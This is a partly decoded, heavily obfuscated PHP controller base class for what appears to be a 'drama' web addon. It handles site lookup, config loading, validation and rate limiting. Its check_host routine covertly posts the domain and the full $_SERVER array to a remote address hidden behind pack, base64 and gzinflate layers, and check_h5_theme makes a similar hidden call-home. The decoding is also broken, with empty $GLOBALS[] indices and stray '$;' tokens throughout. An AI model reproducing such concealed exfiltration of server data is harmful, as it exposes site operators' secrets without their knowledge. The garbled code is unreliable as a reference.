/* Decoded by unphp.net */ header(pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x0a]),pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]));$;if(!($sign==pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]))){goto HmuehqKDeq;}$sign=request()->param(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x0000d]),pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]));HmuehqKDeq:$sign=substr(trim($sign),0,0x000004);$;goto JIUNdxOFHi;$;vwIqOKChTd:Gtqptcpqm1:if(!($site_info[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x0010])]!=0&& $site_info[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][6/2*3-9], $GLOBALS[][0x00011])]error(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][100-20*5], $GLOBALS[][0x014]));il50pg0Haj:if(!$this->auth->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][100-20*5], $GLOBALS[][0x0015])}()){goto xXZAGhfFhF;}goto NnOW1HReAH;YeYTNddfn3:$this->check_h5_theme();$;$this->h5_theme=$config[pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x000017])];$;NJpTrY3pBQ:goto Q2aX5Qny8B;$;NnOW1HReAH:if(!($this->auth->site_id !==$site_info[pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x0000018])])){goto eeZMeFJnnq;}$this->auth->{pack($GLOBALS[][4+5-3*3], $GLOBALS[][0x019])}();eeZMeFJnnq:xXZAGhfFhF:$this->site_id=$site_info[pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x001a])]?? 0;$;goto WMJTAx3JR6;$;JIUNdxOFHi:$domain=$_SERVER[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x0001b])];$;$this->error(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x00001c]) .$domain.call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][3*9-27], $GLOBALS[][0x000001d]) .$sign.pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]));$;Xgq8EGDOnG:if(!($site_info[pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x01e])]==call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][3*9-27], $GLOBALS[][0x001f]))){goto Gtqptcpqm1;}$this->error(pack($GLOBALS[][100-20*5],$GLOBALS[][0x00020]));goto vwIqOKChTd;$;WMJTAx3JR6:$this->sign=$site_info[call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][6/2*3-9], $GLOBALS[][0x000021])]?? pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]);$;$this->check_host();$;$config=Db::{call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][15-5+7-17], $GLOBALS[][0x023])}(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x0024]))->{pack($GLOBALS[][3*9-27], $GLOBALS[][0x00025])}(pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x000026]),$this->site_id)->{pack($GLOBALS[][3*9-27], $GLOBALS[][0x00025])}(pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x0000027]),pack($GLOBALS[][3*9-27],$GLOBALS[][0x028]))->{pack($GLOBALS[][6/2*3-9], $GLOBALS[][0x0029])}(pack($GLOBALS[][3*9-27],$GLOBALS[][0x0002a]));$;$config=@json_decode($config,!0);$;if(!(isset($config[pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x000002c])])&& $config[call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][3*9-27], $GLOBALS[][0x02d])]!==pack($GLOBALS[][100-20*5],$GLOBALS[][0x002e]))){goto NJpTrY3pBQ;}goto YeYTNddfn3;X0JKjbOsfu:parent::_initialize();$;$controllername=strtolower($this->request->{pack($GLOBALS[][3*9-27], $GLOBALS[][0x0000031])}());$;$this->loadlang($controllername);$;$site_info=$this->getSite();$;if(!empty($site_info)){goto Xgq8EGDOnG;}goto h7OZwHpPRH;Q2aX5Qny8B:}protected function getSite(){goto zcYTLGQk3N;$;WbOHap_78v:return $site_info;$;goto nLSXB7o60B;$;t5vQ1R937B:if(!($sign==pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]))){goto eVcKpPoI9Q;}$domain=$_SERVER[pack($GLOBALS[][3*9-27],$GLOBALS[][0x00034])];$site_info=Db::{call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][15-5+7-17], $GLOBALS[][0x023])}(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000035]))->{pack($GLOBALS[][3*9-27], $GLOBALS[][0x00025])}(pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x0000036]),$domain)->{pack($GLOBALS[][3*9-27], $GLOBALS[][0x00025])}(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][6/2*3-9], $GLOBALS[][0x037]),pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x0038]))->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00039])}();$;if($site_info){goto Ec6e6pAo4g;}$site_info=Db::{call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][15-5+7-17], $GLOBALS[][0x023])}(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x00003a]))->{pack($GLOBALS[][3*9-27], $GLOBALS[][0x00025])}(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x000003b]),0x001)->{pack($GLOBALS[][3*9-27], $GLOBALS[][0x00025])}(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x03c]),call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x003d]))->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00039])}();goto VKsuS6VVgZ;$;VKsuS6VVgZ:$sign=$site_info[pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x0003e])]?? pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]);$;goto AFLGkBPV1n;$;Ec6e6pAo4g:$sign=$site_info[pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x00003f])]?? pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]);$;AFLGkBPV1n:goto mbgWA4cyu1;$;zcYTLGQk3N:$sign=request()->header(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][6/2*3-9], $GLOBALS[][0x0000040]),pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]));if(!($sign==pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]))){goto l7c2PZtCNG;}$sign=request()->param(pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x041]),pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]));l7c2PZtCNG:$sign=substr(trim($sign),0,0x000004);$;goto t5vQ1R937B;$;mbgWA4cyu1:eVcKpPoI9Q:if(!($sign==pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]))){goto WOF0HQElSN;}$this->error(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][6/2*3-9], $GLOBALS[][0x0042]));WOF0HQElSN:$site_info=Db::{call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][15-5+7-17], $GLOBALS[][0x023])}(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][100-20*5], $GLOBALS[][0x00043]))->{pack($GLOBALS[][3*9-27], $GLOBALS[][0x00025])}(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][6/2*3-9], $GLOBALS[][0x000044]),$sign)->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00039])}();$;goto WbOHap_78v;$;nLSXB7o60B:}protected function loadlang($name){Lang::{pack($GLOBALS[][100-20*5], $GLOBALS[][0x0000045])}(ADDON_PATH.pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x046]) .$this->request->{pack($GLOBALS[][15-5+7-17], $GLOBALS[][0x0047])}().pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x00048]) .str_replace(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][3*9-27], $GLOBALS[][0x000004a]),pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x00048]),$name).call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x04b]));$;}protected function dramaValidate($params,$class,$scene,$rules=array()){$validate=validate(str_replace(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][3*9-27], $GLOBALS[][0x0004d]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x00004e]),$class));$;if($validate->check($params,$rules,$scene)){goto uvL5QGQDq6;}$this->error($validate->{call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x050])}());uvL5QGQDq6:}protected function repeat_filter($key=null,$expire=0x05){if($key){goto X9zXM3TgX7;}$url=request()->baseUrl();$ip=request()->ip();$;$key=md5($url.call_user_func(base64_decode('cGFjaw'), $GLOBALS[][100-20*5], $GLOBALS[][0x0000054]) .$ip);$;X9zXM3TgX7:if(!cache(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x0056]) .$key)){goto fr9SRSzHGk;}new Exception(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x000058]));fr9SRSzHGk:cache($key,time(),$expire);$;}protected function check_host(){$domain=$_SERVER[pack($GLOBALS[][3*9-27],$GLOBALS[][0x0000059])];$;if(!(Cache::{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][4+5-3*3], $GLOBALS[][0x05a])}(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x005b]) .$domain)&& Cache::{pack($GLOBALS[][4+5-3*3], $GLOBALS[][0x0005c])}(pack($GLOBALS[][3*9-27],$GLOBALS[][0x00005d]) .$domain))){goto RiSbD9bQ4k;}return;RiSbD9bQ4k:try{$data=Http::post(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][4+5-3*3], $GLOBALS[][0x05f]),[pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x0060]) =>call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x00061]),call_user_func(base64_decode('cGFjaw'), $GLOBALS[][6/2*3-9], $GLOBALS[][0x000062]) =>$domain,call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][15-5+7-17], $GLOBALS[][0x0000063]) =>json_encode($_SERVER)]);$;$data=json_decode($data,!0);$;}catch(\Exception $e){Cache::set(pack($GLOBALS[][100-20*5],$GLOBALS[][0x00066]) .$domain,0x001,0x0e10);$;return;$;}if(!(isset($data[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x000067])])&& $data[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x000067])]==0)){goto jDnpsUZKoQ;}new Exception($data[pack($GLOBALS[][100-20*5],$GLOBALS[][0x0000068])]?? str_replace(pack($GLOBALS[][3*9-27],$GLOBALS[][0x069]),pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00b]),base64_decode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x0006b]))));jDnpsUZKoQ:Cache::set(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x00006c]) .$domain,0x001,0x0e10);$;}protected function check_h5_theme(){$domain=$_SERVER[pack($GLOBALS[][100-20*5],$GLOBALS[][0x000006d])];$;if(!(Cache::{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][4+5-3*3], $GLOBALS[][0x05a])}(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][3*9-27], $GLOBALS[][0x06e]) .$domain)&& Cache::{pack($GLOBALS[][4+5-3*3], $GLOBALS[][0x0005c])}(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x006f]) .$domain))){goto s6hjrj1FiM;}return;s6hjrj1FiM:try{$data=Http::post(pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00070]),[pack($GLOBALS[][3*9-27],$GLOBALS[][0x000071]) =>pack($GLOBALS[][100-20*5],$GLOBALS[][0x0000072]),call_user_func(base64_decode('cGFjaw'), $GLOBALS[][6/2*3-9], $GLOBALS[][0x073]) =>$domain]);$;$data=json_decode($data,!0);$;}catch(\Exception $e){Cache::set(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][15-5+7-17], $GLOBALS[][0x0074]) .$domain,0x001,0x0e10);$;return;$;}if(!(isset($data[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][6/2*3-9], $GLOBALS[][0x00075])])&& $data[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][15-5+7-17], $GLOBALS[][0x000076])]==0)){goto exurEHJdVM;}new Exception($data[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x0000077])]?? pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x078]));exurEHJdVM:Cache::set(pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x0079]) .$domain,0x001,0x0e10);$;}protected function getRootDomain($domain){goto FMJyyEPENU;$;MwXFOuLJ9w:IB2BLJF_or:return $host;$;goto dPR06qsaIF;$;FMJyyEPENU:$host=strtolower(trim($domain));$;$hostArr=explode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][3*9-27], $GLOBALS[][0x000004a]),$host);$;$hostCount=count($hostArr);$;$cnRegex=pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x000007c]);$;$countryRegex=pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x07d]);$;goto cbwC1pNpkt;$;cbwC1pNpkt:if($hostCount>0x0002&&(preg_match($cnRegex,$host)|| preg_match($countryRegex,$host))){goto FqM7TXsAhj;}$host=implode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][3*9-27], $GLOBALS[][0x000004a]),array_slice($hostArr,-0x0002,0x0002,!0));goto IB2BLJF_or;$;FqM7TXsAhj:$host=implode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x0000081]),array_slice($hostArr,-0x00003,0x00003,!0));$;goto MwXFOuLJ9w;$;dPR06qsaIF:}} ?>